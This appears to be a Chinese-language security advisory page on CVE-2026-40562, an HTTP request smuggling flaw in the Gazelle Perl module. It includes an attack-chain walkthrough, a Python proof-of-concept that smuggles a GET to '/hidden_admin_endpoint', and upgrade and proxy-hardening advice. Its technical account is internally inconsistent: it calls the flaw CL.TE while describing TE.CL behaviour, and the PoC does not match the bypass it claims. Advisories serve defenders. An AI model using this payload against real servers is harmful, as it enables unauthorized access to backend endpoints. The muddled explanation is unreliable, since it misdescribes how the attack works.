IPBUF安全漏洞报告
English
CVE-2026-40562 CVSS 7.5 高危

CVE-2026-40562 Gazelle HTTP请求走私漏洞

披露日期: 2026-05-06
来源: 9b29abf9-4ab0-4765-b253-1875cd9b441e

漏洞信息

漏洞编号
CVE-2026-40562
漏洞类型
HTTP请求 smuggling (HTTP Request Smuggling)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gazelle (Perl)

相关标签

HTTP请求走私GazellePerlCVE-2026-40562CL.TEHeader Precedence

漏洞概述

Gazelle Perl模块0.49及以下版本存在严重的安全漏洞,涉及HTTP请求走私。该漏洞源于对HTTP请求头的处理逻辑错误,当请求中同时包含“Content-Length”和“Transfer-Encoding: chunked”时,Gazelle错误地优先处理Content-Length,而未遵循RFC 7230规定的优先级。攻击者可利用此缺陷通过前端反向代理向后端服务器走私恶意HTTP请求,可能导致安全绕过或数据篡改。

技术细节

该漏洞属于典型的CL.TE(Content-Length vs Transfer-Encoding)解析不一致漏洞。根据RFC 7230标准,当请求同时存在Content-Length和Transfer-Encoding头部时,必须忽略Content-Length而优先处理Transfer-Encoding。然而,Gazelle在受影响版本中错误地优先解析Content-Length。在常见的反向代理架构中,前端服务器通常遵循RFC标准处理Transfer-Encoding,而后端的Gazelle则根据Content-Length读取数据。这种解析差异导致攻击者可以构造特殊的HTTP请求,使得前端认为请求已结束,而后端继续读取套接字中的剩余数据作为下一个请求。利用此方式,攻击者可将恶意请求“走私”至后端,绕过前端的安全检查(如WAF或访问控制列表),进而执行未授权操作。

攻击链分析

STEP 1
侦察与识别
攻击者识别目标系统使用了Gazelle Perl组件,且部署在反向代理之后。
STEP 2
构造恶意请求
攻击者精心设计一个包含冲突头部(Content-Length和Transfer-Encoding: chunked)的HTTP请求,利用Gazelle错误的头部优先级逻辑。
STEP 3
发送走私请求
将构造好的请求发送给前端反向代理。前端根据Transfer-Encoding处理请求,认为请求已结束;后端Gazelle根据Content-Length处理,认为后续数据仍属于当前请求。
STEP 4
利用解析差异
由于解析不一致,前端转发后剩余的TCP流数据被后端Gazelle解析为下一个独立的HTTP请求。
STEP 5
执行攻击
被走私的恶意请求绕过了前端的安全控制(如防火墙),直接在后端执行,可能导致未授权访问或数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # Proof of Concept for CVE-2026-40562 # This script demonstrates an HTTP Request Smuggling attack. # It sends a request with conflicting Content-Length and Transfer-Encoding headers. # The frontend (RFC compliant) processes TE, while the vulnerable Gazelle (backend) processes CL. def send_smuggling_request(host, port): payload = ( "POST / HTTP/1.1\r\n" f"Host: {host}\r\n" "Content-Length: 60\r\n" "Transfer-Encoding: chunked\r\n" "\r\n" "0\r\n" "\r\n" "GET /hidden_admin_endpoint HTTP/1.1\r\n" f"Host: {host}\r\n" "User-Agent: Smuggled-Request\r\n" "\r\n" ) print(f"[*] Sending payload to {host}:{port}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload.encode()) # Receive response (adjust buffer size as needed) response = s.recv(4096) print("[+] Response received:") print(response.decode(errors='ignore')) s.close() if __name__ == "__main__": # Replace with actual target details target_host = "127.0.0.1" target_port = 8080 send_smuggling_request(target_host, target_port)

影响范围

Gazelle <= 0.49

防御指南

临时缓解措施
建议立即将Gazelle库升级到0.50或更高版本,该版本修复了头部优先级逻辑以符合RFC 7230标准。如果无法立即升级,应在反向代理层面实施严格的HTTP头部验证,拦截包含冲突头部的请求,或配置代理规范化请求头以匹配后端行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表